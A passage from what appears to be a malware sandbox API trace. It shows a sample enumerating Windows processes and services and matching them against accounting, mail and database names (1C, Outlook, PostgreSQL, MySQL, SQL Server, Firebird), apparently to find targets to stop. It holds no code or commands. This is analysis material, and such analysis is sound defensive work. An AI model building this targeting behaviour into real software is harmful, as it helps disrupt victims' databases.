lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0141.415] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0141.415] lstrlenW (lpString="System") returned 6 [0141.415] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0141.415] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0141.416] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0141.416] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0141.416] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0141.416] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0141.416] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0141.416] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0141.416] lstrlenW (lpString="smss.exe") returned 8 [0141.416] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0141.416] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0141.416] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0141.416] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0141.416] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0141.416] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0141.416] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0141.416] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0141.417] lstrlenW (lpString="csrss.exe") returned 9 [0141.417] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0141.417] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0141.417] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0141.417] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0141.417] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0141.417] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0141.417] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0141.417] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0141.417] lstrlenW (lpString="wininit.exe") returned 11 [0141.417] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0141.417] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0141.417] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0141.417] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0141.417] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0141.417] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0141.417] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0141.417] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0141.418] lstrlenW (lpString="csrss.exe") returned 9 [0141.418] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0141.418] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0141.418] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0141.418] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0141.418] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0141.418] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0141.418] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0141.418] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0141.418] lstrlenW (lpString="winlogon.exe") returned 12 [0141.418] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0141.418] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0141.418] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0141.418] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0141.418] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0141.418] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0141.418] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0141.418] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0141.419] lstrlenW (lpString="services.exe") returned 12 [0141.419] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0141.419] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0141.419] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0141.419] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0141.419] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0141.419] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0141.419] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0141.419] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0141.419] lstrlenW (lpString="lsass.exe") returned 9 [0141.419] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0141.419] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0141.419] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0141.419] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0141.420] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0141.420] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0141.420] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0141.420] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0141.420] lstrlenW (lpString="lsm.exe") returned 7 [0141.420] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0141.420] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0141.420] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0141.420] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0141.420] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0141.420] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0141.420] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0141.420] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.420] lstrlenW (lpString="svchost.exe") returned 11 [0141.421] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0141.421] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0141.421] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0141.421] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0141.421] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0141.421] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0141.421] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.421] lstrlenW (lpString="svchost.exe") returned 11 [0141.421] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.422] lstrlenW (lpString="svchost.exe") returned 11 [0141.422] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.422] lstrlenW (lpString="svchost.exe") returned 11 [0141.422] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.422] lstrlenW (lpString="svchost.exe") returned 11 [0141.422] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0141.423] lstrlenW (lpString="audiodg.exe") returned 11 [0141.423] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.423] lstrlenW (lpString="svchost.exe") returned 11 [0141.423] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.423] lstrlenW (lpString="svchost.exe") returned 11 [0141.423] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0141.424] lstrlenW (lpString="spoolsv.exe") returned 11 [0141.424] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0141.424] lstrlenW (lpString="taskhost.exe") returned 12 [0141.424] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.424] lstrlenW (lpString="svchost.exe") returned 11 [0141.424] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0141.425] lstrlenW (lpString="userinit.exe") returned 12 [0141.425] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0141.425] lstrlenW (lpString="dwm.exe") returned 7 [0141.425] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0141.425] lstrlenW (lpString="explorer.exe") returned 12 [0141.426] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0141.426] lstrlenW (lpString="3G6885.exe") returned 10 [0141.426] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0141.426] lstrlenW (lpString="reader_sl.exe") returned 13 [0141.426] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0141.427] lstrlenW (lpString="dllhost.exe") returned 11 [0141.427] Process32NextW (in: hSnapshot=0x358, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0141.427] CloseHandle (hObject=0x358) returned 1 [0141.427] Sleep (dwMilliseconds=0x1f4) [0142.033] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d8b08 [0142.132] EnumServicesStatusExW (in: hSCManager=0x41d8b08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0142.132] GetLastError () returned 0xea [0142.132] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe90) returned 0x41d77b8 [0142.133] EnumServicesStatusExW (in: hSCManager=0x41d8b08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d77b8, cbBufSize=0xe90, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d77b8, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0142.133] CloseServiceHandle (hSCObject=0x41d8b08) returned 1 [0142.133] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0142.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0142.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0142.133] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0142.133] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0142.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0142.133] lstrlenW (lpString="AudioSrv") returned 8 [0142.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0142.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0142.133] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0142.133] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0142.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0142.133] lstrlenW (lpString="BFE") returned 3 [0142.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0142.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0142.133] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0142.133] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0142.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0142.133] lstrlenW (lpString="CryptSvc") returned 8 [0142.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0142.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0142.134] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0142.134] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0142.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0142.134] lstrlenW (lpString="CscService") returned 10 [0142.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0142.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0142.134] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0142.134] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0142.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0142.134] lstrlenW (lpString="DcomLaunch") returned 10 [0142.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0142.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0142.134] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0142.134] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0142.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0142.134] lstrlenW (lpString="Dhcp") returned 4 [0142.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0142.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0142.134] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0142.134] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0142.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0142.134] lstrlenW (lpString="Dnscache") returned 8 [0142.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0142.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0142.134] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0142.134] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0142.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0142.134] lstrlenW (lpString="DPS") returned 3 [0142.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0142.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0142.134] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0142.135] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0142.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0142.135] lstrlenW (lpString="eventlog") returned 8 [0142.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0142.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0142.135] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0142.135] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0142.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0142.135] lstrlenW (lpString="EventSystem") returned 11 [0142.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0142.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0142.135] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0142.135] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0142.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0142.135] lstrlenW (lpString="gpsvc") returned 5 [0142.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0142.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0142.135] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0142.135] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0142.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0142.135] lstrlenW (lpString="iphlpsvc") returned 8 [0142.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0142.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0142.135] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0142.135] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0142.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0142.135] lstrlenW (lpString="LanmanServer") returned 12 [0142.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0142.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0142.135] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0142.135] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0142.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0142.136] lstrlenW (lpString="LanmanWorkstation") returned 17 [0142.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0142.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0142.136] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0142.136] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0142.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0142.136] lstrlenW (lpString="lmhosts") returned 7 [0142.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0142.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0142.136] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0142.136] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0142.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0142.136] lstrlenW (lpString="MMCSS") returned 5 [0142.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0142.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0142.136] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0142.136] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0142.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0142.136] lstrlenW (lpString="MpsSvc") returned 6 [0142.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0142.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0142.136] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0142.136] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0142.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0142.136] lstrlenW (lpString="NlaSvc") returned 6 [0142.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0142.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0142.136] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0142.136] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0142.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0142.136] lstrlenW (lpString="nsi") returned 3 [0142.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0142.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0142.137] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0142.137] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0142.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0142.137] lstrlenW (lpString="PcaSvc") returned 6 [0142.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0142.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0142.137] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0142.137] lstrcmpiW (lpString1="mssqlserver", 